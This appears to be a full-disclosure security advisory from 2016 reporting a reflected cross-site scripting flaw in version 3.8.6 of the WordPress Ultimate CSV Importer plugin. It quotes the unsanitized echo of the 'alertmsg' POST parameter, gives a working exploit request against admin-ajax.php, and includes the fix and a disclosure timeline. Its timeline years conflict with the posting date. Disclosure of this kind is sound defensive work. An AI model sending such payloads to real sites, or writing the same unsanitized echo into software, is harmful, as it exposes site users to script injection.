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WordPress Ultimate CSV Importer 3.8.6 Cross Site Scripting

WordPress Ultimate CSV Importer 3.8.6 Cross Site Scripting
Posted Jan 27, 2016
Authored by Rahul Pratap Singh

WordPress Ultimate CSV Importer plugin version 3.8.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 45e194bee0a4c3b238908df3502602ab

WordPress Ultimate CSV Importer 3.8.6 Cross Site Scripting

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## FULL DISCLOSURE

#Product : WP-Ultimate CSV Importer
#Exploit Author : Rahul Pratap Singh
#Version : 3.8.6
#Home page Link : https://wordpress.org/plugins/wp-ultimate-csv-importer
<https://wordpress.org/plugins/wp-ultimate-csv-importer</a><br>#Website>
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date <https://in.linkedin.com/in/rahulpratapsingh94<br>#Date> :
27/Jan/2016

XSS Vulnerability:

Description:
"alertmsg" parameter is not sanitized that leads to reflected XSS.

Vulnerable Code:
File Name: /wp-ultimate-csv-importer/index.php

Found at line:256
echo __($_POST['alertmsg'],'wp-ultimate-csv-importer');

Exploit:
POST /wp-admin/admin-ajax.php

action=trans_alert_str&alertmsg=<input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)>

POC:
https://0x62626262.files.wordpress.com/2016/01/wp-ultimate-csv-importerxsspoc.png

Fix:
Update to 3.8.8

Vulnerability Disclosure Timeline:
→ January 14, 2015 – Bug discovered, initial report to Vendor
→ January 14, 2015 – Vendor acknowledged and scheduled a fix
→ January 18, 2015 – Reported to wordpress
→ January 19, 2015 – WordPress Response, plugin taken down
→ January 26, 2015 – Vendor Deployed a Patch

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Pub Ref:
https://0x62626262.wordpress.com/2016/01/26/wp-ultimate-csv-importer-xss-vulnerability/
https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/
<https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/</a></p><br>[+]>

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credit is given. Permission is explicitly given for insertion
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to the author.
The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security related
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